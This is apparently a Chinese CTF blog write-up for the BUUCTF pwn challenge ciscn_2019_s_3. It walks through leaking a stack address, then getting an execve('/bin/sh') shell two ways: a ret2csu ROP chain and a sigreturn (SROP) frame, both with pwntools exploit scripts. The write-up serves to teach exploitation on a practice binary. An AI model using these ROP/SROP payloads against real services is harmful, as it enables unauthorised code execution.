BUUCTF-ciscn_2019_s_3

[BUUCTF] ciscn_2019_s_3

题目链接 https://buuoj.cn/challenges#ciscn_2019_s_3

这道题思路比较直接,有两种解法,第一种是利用csu来布置栈空间,另一种是利用sigreturn直接对关键寄存器赋值,后者相对来说更加简单。

glibc 环境配置

这道题由于环境的不同,泄露出来的栈地址和buf的地址有两种偏移,一个是0x118(远程环境的偏移),还有一种是0x128,BUUCTF上这道题是ubuntu18的环境,我们需要把libc的版本切换到libc-2.27.so

rm ciscn_s_3

cp ciscn_s_3.bak ciscn_s_3

patchelf --set-interpreter /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./ciscn_s_3
patchelf --replace-needed libc.so.6 /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./ciscn_s_3
patchelf --set-rpath /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./ciscn_s_3

image

image

泄露buf地址

前面的做法是相同的,泄露栈上的地址,并通过与buf的偏移计算出buffer的地址。

from pwn import *

file_path = '/home/kali/Desktop/ctf/pwn/ciscn_s_3/ciscn_s_3'
p = process([file_path])

gdb.attach(p)

vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)

p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))

image

通过打印出的stack_addr得出泄露的地址与buf的地址偏移为0x118, 这个偏移是个固定值(因为泄露出来的地址是某个ebp,而栈的布局是固定的,所以偏移是固定的)。

image

再看题目中给的gadgets,分别对rax赋予了0xf(sigret), 和0x3b(execve),因此接下来就可以分为两种做法,目标都是控制寄存器的值来执行execve,前者相对更加容易。这里先讨论第二种做法,再来看第一种。

解法1 csu

执行execve有几个关键的寄存器的值需要设置

  • rax = 0x3b
  • rdi = &'/bin/sh\0'
  • rsi = 0
  • rdx = 0

image

从ropgadget的结果来看,我们可以直接控制的寄存器有rdi,rsi,以及可以执行syscall,结合之前泄露的buf地址,我们还差一个rdx....于是,从这里开始了漫长的曲线救国....

一般在代码里,通常都会有__libc_csu_init这个函数,它会在这里执行一些初始化的工作,包括初始化函数和相关寄存器的值,我们的目标就是通过它使得rdx=0

image

通过代码片段可以看到,我们可以通过执行pop r13(0x40059e) -> mov rdx, r13(0x400580), 使得rdx=0
这里有两个比较关键的地方需要注意

  1. 0x400589: call [r12 + rbx * 8], 会执行r12+rbx8地址指向的函数, 我直接在buf里放了个ret;的地址..., 然后让r12 + rbx8指向buf
  2. cmp rbx, rbp; jnz short loc_400580, 如果rbx和rbp相同会循环
  3. 我在泄露函数地址后直接重进的vul函数,buf的地址不变
pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

payload = p64(ret_addr) + b'/bin/sh\0'
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7 # 这里执行到0x400580后又会重新pop一遍, 7是调试出来的,没仔细看代码...
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)
p.interactive()

其实从这个代码里可以看到,为了让rdx=0,是费了很大功夫的,首先让rip指向__libc_csu_init, 然后一顿骚操作执行了r12指向的代码,又绕过了rbx != rbp的限制,调试需要花很长时间。而解法2中的sigret则没有这么多弯弯绕绕,直接一步到位。

解法2 sigret

原理

linux处理signal流程如下图所示,在程序接收到signal信号时会去①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值。

在本题中,gadget已经给了0xf的syscall(对应③这个环节),因此我们可以利用它来设置对应环境。

image

struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

64位环境如上,光靠人记忆比较困难,pwntool已经提供了工具能直接生成对应的布局。

exp

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)
p.send(payload)
p.interactive()

相对于解法1来说,这就特别简单粗暴...

参考文献

posted @ 2022-06-26 18:46  wudiiv11  阅读(1124)  评论(0编辑  收藏  举报